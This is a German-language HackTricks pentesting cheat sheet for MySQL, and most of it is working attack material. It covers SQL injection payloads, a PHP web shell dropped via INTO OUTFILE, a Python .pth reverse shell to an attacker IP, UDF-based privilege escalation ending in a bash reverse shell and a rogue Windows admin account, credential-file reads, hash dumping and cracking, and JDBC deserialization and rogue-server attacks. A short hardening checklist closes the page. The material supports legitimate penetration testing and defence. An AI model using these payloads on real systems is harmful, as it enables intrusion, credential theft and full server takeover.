3306 - Pentesting Mysql
Reading time: 17 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
MySQL kann als ein Open-Source Relational Database Management System (RDBMS) beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der Structured Query Language (SQL), die die Verwaltung und Manipulation von Datenbanken ermöglicht.
Standardport: 3306
3306/tcp open mysql
Verbinden
Lokal
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
Fernzugriff
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
Externe Enumeration
Einige der Enumerationsaktionen erfordern gültige Anmeldeinformationen.
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
Brute force
Schreiben Sie beliebige Binärdaten
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
MySQL-Befehle
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
MySQL Berechtigungsenumeration
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
Siehe in den Dokumenten die Bedeutung jedes Privilegs: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html
MySQL File RCE
INTO OUTFILE → Python .pth
RCE (sitespezifische Konfigurations-Hooks)
Durch den Missbrauch des klassischen INTO OUTFILE
Primitivs ist es möglich, willkürliche Codeausführung auf Zielen zu erlangen, die später Python-Skripte ausführen.
- Verwenden Sie
INTO OUTFILE
, um eine benutzerdefinierte.pth
-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch vonsite.py
geladen wird (z. B..../lib/python3.10/site-packages/
). - Die
.pth
-Datei kann eine einzelne Zeile enthalten, die mitimport
beginnt, gefolgt von willkürlichem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird. - Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel
/cgi-bin/ml-draw.py
mit Shebang#!/bin/python
), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als root aus → vollständige Pre-Auth RCE).
Beispiel .pth
Payload (einzelne Zeile, keine Leerzeichen können in der finalen SQL-Payload enthalten sein, daher sind hex/UNHEX()
oder String-Konkatenation möglicherweise erforderlich):
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
Beispiel für das Erstellen der Datei durch eine UNION-Abfrage (Leerzeichen durch /**/
ersetzt, um einen sscanf("%128s")
-Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 Bytes zu halten):
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
Wichtige Einschränkungen & Umgehungen:
INTO OUTFILE
kann vorhandene Dateien nicht überschreiben; wählen Sie einen neuen Dateinamen.- Der Dateipfad wird relativ zum CWD von MySQL aufgelöst, daher hilft das Präfix
../../
, um den Pfad zu verkürzen und Einschränkungen bei absoluten Pfaden zu umgehen. - Wenn die Angreifer-Eingabe mit
%128s
(oder ähnlich) extrahiert wird, wird jede Leerzeile die Payload abschneiden; verwenden Sie MySQL-Kommentarsequenzen/**/
oder/*!*/
, um Leerzeichen zu ersetzen. - Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das
FILE
-Privileg, aber in vielen Geräten (z.B. FortiWeb) läuft der Dienst als root, was fast überall Schreibzugriff gewährt.
Nachdem die .pth
abgelegt wurde, fordern Sie einfach ein CGI an, das vom Python-Interpreter verarbeitet wird, um Codeausführung zu erhalten:
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
Der Python-Prozess wird die bösartige .pth
automatisch importieren und die Shell-Nutzlast ausführen.
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
MySQL willkürliches Lesen von Dateien durch den Client
Tatsächlich, wenn Sie versuchen, Daten lokal in eine Tabelle zu laden, fragt der MySQL- oder MariaDB-Server den Client, um sie zu lesen und den Inhalt zu senden. Wenn Sie dann einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.
Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
(Achten Sie auf das Wort "local")
Denn ohne das "local" können Sie Folgendes erhalten:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
In diesem Papier finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann: https://paper.seebug.org/1113/
Hier finden Sie eine Übersicht über den Angriff: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
POST
Mysql Benutzer
Es wird sehr interessant sein, wenn mysql als root läuft:
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
Gefährliche Einstellungen von mysqld.cnf
In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren:
- Die
user
-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird. password
wird angewendet, um das Passwort des MySQL-Benutzers festzulegen.admin_address
gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört.- Die
debug
-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen. sql_warnings
verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.- Mit
secure_file_priv
wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen.
Privilegieneskalation
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
Privilegieneskalation über Bibliothek
Wenn der mysql-Server als root (oder ein anderer privilegierter Benutzer) läuft, können Sie ihn dazu bringen, Befehle auszuführen. Dazu müssen Sie benutzerdefinierte Funktionen verwenden. Um eine benutzerdefinierte Funktion zu erstellen, benötigen Sie eine Bibliothek für das Betriebssystem, auf dem mysql läuft.
Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie locate "*lib_mysqludf_sys*"
ausführen. Die .so
-Dateien sind Linux-Bibliotheken und die .dll
sind die Windows-Dateien, wählen Sie die, die Sie benötigen.
Wenn Sie diese Bibliotheken nicht haben, können Sie entweder nach ihnen suchen oder diesen linux C-Code herunterladen und in der verwundbaren Linux-Maschine kompilieren:
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Jetzt, da Sie die Bibliothek haben, melden Sie sich als privilegierter Benutzer (root?) in Mysql an und folgen Sie den nächsten Schritten:
Linux
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
Extrahieren von MySQL-Anmeldeinformationen aus Dateien
In /etc/mysql/debian.cnf finden Sie das Klartext-Passwort des Benutzers debian-sys-maint.
cat /etc/mysql/debian.cnf
Sie können diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenbank anzumelden.
In der Datei: /var/lib/mysql/mysql/user.MYD finden Sie alle Hashes der MySQL-Benutzer (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können).
Sie können sie extrahieren, indem Sie:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
Aktivierung des Loggings
Sie können das Logging von MySQL-Abfragen in /etc/mysql/my.cnf
aktivieren, indem Sie die folgenden Zeilen auskommentieren:
Nützliche Dateien
Konfigurationsdateien
- windows *
- config.ini
- my.ini
- windows\my.ini
- winnt\my.ini
- <InstDir>/mysql/data/
- unix
- my.cnf
- /etc/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- ~/.my.cnf
- /etc/my.cnf
- Befehlshistorie
- ~/.mysql.history
- Protokolldateien
- connections.log
- update.log
- common.log
Standard MySQL-Datenbank/Tabellen
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS
HackTricks Automatische Befehle
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2023-2025 Highlights (neu)
JDBC propertiesTransform
Deserialisierung (CVE-2023-21971)
Von Connector/J <= 8.0.32 kann ein Angreifer, der die JDBC-URL beeinflussen kann (zum Beispiel in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), beliebige Klassen anfordern, die auf der Client-Seite über den Parameter propertiesTransform
geladen werden. Wenn ein Gadget, das im Klassenpfad vorhanden ist, ladbar ist, führt dies zu Remote-Code-Ausführung im Kontext des JDBC-Clients (pre-auth, da keine gültigen Anmeldeinformationen erforderlich sind). Ein minimales PoC sieht so aus:
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
Das Ausführen von Evil.class
kann so einfach sein wie das Bereitstellen im Klassenpfad der verwundbaren Anwendung oder das Zulassen eines bösartigen MySQL-Servers, der ein schädliches serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisieren Sie den Treiber oder setzen Sie propertiesTransform
explizit auf eine Zulassungsliste.
(Siehe Snyk-Bericht für Details)
Angriffe von bösartigen / gefälschten MySQL-Servern gegen JDBC-Clients
Mehrere Open-Source-Tools implementieren ein teilweises MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden:
- mysql-fake-server (Java, unterstützt Datei-Lese- und Deserialisierungs-Exploits)
- rogue_mysql_server (Python, ähnliche Fähigkeiten)
Typische Angriffswege:
- Die Opferanwendung lädt
mysql-connector-j
mitallowLoadLocalInfile=true
oderautoDeserialize=true
. - Der Angreifer kontrolliert DNS / Host-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird.
- Der bösartige Server antwortet mit gestalteten Paketen, die entweder
LOCAL INFILE
willkürliches Datei-Lesen oder Java-Deserialisierung → RCE auslösen.
Beispiel für einen Einzeiler zum Starten eines gefälschten Servers (Java):
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
Dann weisen Sie die Opferanwendung auf jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true
und lesen Sie /etc/passwd
, indem Sie den Dateinamen im Benutzernamen-Feld als base64 kodieren (fileread_/etc/passwd
→ base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=
).
Knacken von caching_sha2_password
-Hashes
MySQL ≥ 8.0 speichert Passwort-Hashes als $mysql-sha2$
(SHA-256). Sowohl Hashcat (Modus 21100) als auch John-the-Ripper (--format=mysql-sha2
) unterstützen das Offline-Knacken seit 2023. Dumpen Sie die authentication_string
-Spalte und füttern Sie sie direkt ein:
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
Hardening checklist (2025)
• Setze LOCAL_INFILE=0
und --secure-file-priv=/var/empty
, um die meisten Datei-Lese-/Schreib-Primitiven zu deaktivieren.
• Entferne das FILE
-Privileg von Anwendungsaccounts.
• Setze bei Connector/J allowLoadLocalInfile=false
, allowUrlInLocalInfile=false
, autoDeserialize=false
, propertiesTransform=
(leer).
• Deaktiviere ungenutzte Authentifizierungs-Plugins und erfordere TLS (require_secure_transport = ON
).
• Überwache CREATE FUNCTION
, INSTALL COMPONENT
, INTO OUTFILE
, LOAD DATA LOCAL
und plötzliche SET GLOBAL
-Anweisungen.
References
-
Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)
-
mysql-fake-server – Rogue MySQL server for JDBC client attacks
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.